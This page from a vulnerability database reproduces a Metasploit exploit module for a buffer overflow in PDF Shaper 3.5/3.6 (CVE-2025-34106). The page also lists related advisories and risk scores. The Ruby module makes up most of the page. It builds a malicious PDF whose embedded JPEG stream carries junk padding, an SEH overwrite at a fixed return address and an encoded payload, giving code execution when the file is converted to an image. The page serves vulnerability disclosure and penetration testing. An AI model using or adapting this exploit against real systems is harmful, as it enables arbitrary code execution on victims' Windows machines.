Lucene search
+L

PDF Shaper Buffer Overflow

🗓️ 03 Oct 2015 00:00:00Reported by metacom27 <[email protected] - twitter.com/m3tac0m>, metacomType 
metasploit
 metasploit
🔗 www.rapid7.com👁 18 Views

PDF Shaper Buffer Overflow vulnerability in processing specially crafted PDF files. Tested on Win XP, Win 7, Win 8, Win 1

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2025-34106
29 May 201815:50
circl
cnnvd
CNNVD
Burnaware PDF Shaper 安全漏洞
15 Jul 202500:00
cnnvd
cve
CVE
CVE-2025-34106
15 Jul 202513:05
cve
cvelist
Cvelist
CVE-2025-34106 PDF Shaper v3.5/3.6 Buffer Overflow via Convert to Image Feature
15 Jul 202513:05
cvelist
euvd
EUVD
EUVD-2025-21428
3 Oct 202520:07
euvd
nvd
NVD
CVE-2025-34106
15 Jul 202513:15
nvd
ptsecurity
Positive Technologies
PT-2025-29548 · Unknown · Pdftools.Exe +2
15 Jul 202500:00
ptsecurity
redhatcve
RedhatCVE
CVE-2025-34106
17 Jul 202513:57
redhatcve
vulnrichment
Vulnrichment
CVE-2025-34106 PDF Shaper v3.5/3.6 Buffer Overflow via Convert to Image Feature
15 Jul 202513:05
vulnrichment
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::PDF
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'PDF Shaper Buffer Overflow',
        'Description' => %q{
          PDF Shaper is prone to a security vulnerability when processing PDF files.
          The vulnerability appears when we use Convert PDF to Image and use a specially
          crafted PDF file. This module has been tested successfully on Win XP, Win 7,
          Win 8, Win 10.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'metacom27[at]gmail.com - twitter.com/m3tac0m', # POC
          'metacom' # MSF Module
        ],
        'References' => [
          ['CVE', '2025-34106'],
          ['EDB', '37760']
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process', # none/process/thread/seh
        },
        'Platform' => 'win',
        'Payload' => {
          'Space' => 2000,
          'DisableNops' => true
        },
        'Targets' => [
          [
            '<Win Xp, Win 7, Win 8, Win 10 / PDF Shaper v.3.5 and v.3.6>',
            {
              'Ret' => 0x00402AC1, # PDFTools.exe
              'Offset' => 433
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2015-10-03',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [false, 'The file name.', 'msf.pdf'])
      ], self.class
    )
  end

  def exploit
    file_create(make_pdf)
  end

  def jpeg
    buffer = "\xFF\xD8\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65\x00\x64\x80\x00\x00"
    buffer << "\x00\x02\xFF\xDB\x00\x84\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02"
    buffer << "\x02\x03\x02\x02\x02\x03\x04\x03\x03\x03\x03\x04\x05\x04\x04\x04"
    buffer << "\x04\x04\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x07\x08\x08\x08"
    buffer << "\x07\x05\x09\x0A\x0A\x0A\x0A\x09\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
    buffer << "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x01\x03\x02\x02\x03\x03\x03\x07\x05"
    buffer << "\x05\x07\x0D\x0A\x09\x0A\x0D\x0F\x0D\x0D\x0D\x0D\x0F\x0F\x0C\x0C"
    buffer << "\x0C\x0C\x0C\x0F\x0F\x0C\x0C\x0C\x0C\x0C\x0C\x0F\x0C\x0E\x0E\x0E"
    buffer << "\x0E\x0E\x0C\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11"
    buffer << "\x11\x11\x11\x11\x11\x11\x11\x11\xFF\xC0\x00\x14\x08\x00\x32\x00"
    buffer << "\xE6\x04\x01\x11\x00\x02\x11\x01\x03\x11\x01\x04\x11\x00\xFF\xC4"
    buffer << "\x01\xA2\x00\x00\x00\x07\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00"
    buffer << "\x00\x00\x00\x04\x05\x03\x02\x06\x01\x00\x07\x08\x09\x0A\x0B\x01"
    buffer << "\x54\x02\x02\x03\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00"
    buffer << "\x01\x00\x02\x03\x04\x05\x06\x07"
    buffer << rand_text(target['Offset']) # junk
    buffer << generate_seh_record(target.ret)
    buffer << payload.encoded
    buffer << rand_text(2388 - payload.encoded.length)
    buffer
  end

  def make_pdf
    @pdf << header
    add_object(1, "<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>")
    add_object(2, "<</Type/Outlines>>")
    add_object(3, "<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>")
    add_object(4, "[/PDF/Text/ImageC]")
    add_object(5, "<</Type/Page/Parent 3 0 R/Contents 6 0 R>>")
    stream_1 = "stream" << eol
    stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol
    stream_1 << "endstream" << eol
    add_object(6, "<</Length 91>>#{stream_1}")
    stream = "<<" << eol
    stream << "/Width 230" << eol
    stream << "/BitsPerComponent 8" << eol
    stream << "/Name /X" << eol
    stream << "/Height 50" << eol
    stream << "/Intent /RelativeColorimetric" << eol
    stream << "/Subtype /Image" << eol
    stream << "/Filter /DCTDecode" << eol
    stream << "/Length #{jpeg.length}" << eol
    stream << "/ColorSpace /DeviceCMYK" << eol
    stream << "/Type /XObject" << eol
    stream << ">>"
    stream << "stream" << eol
    stream << jpeg << eol
    stream << "endstream" << eol
    add_object(7, stream)
    finish_pdf
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Oct 2015 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 48.4
EPSS0.0033
SSVC
18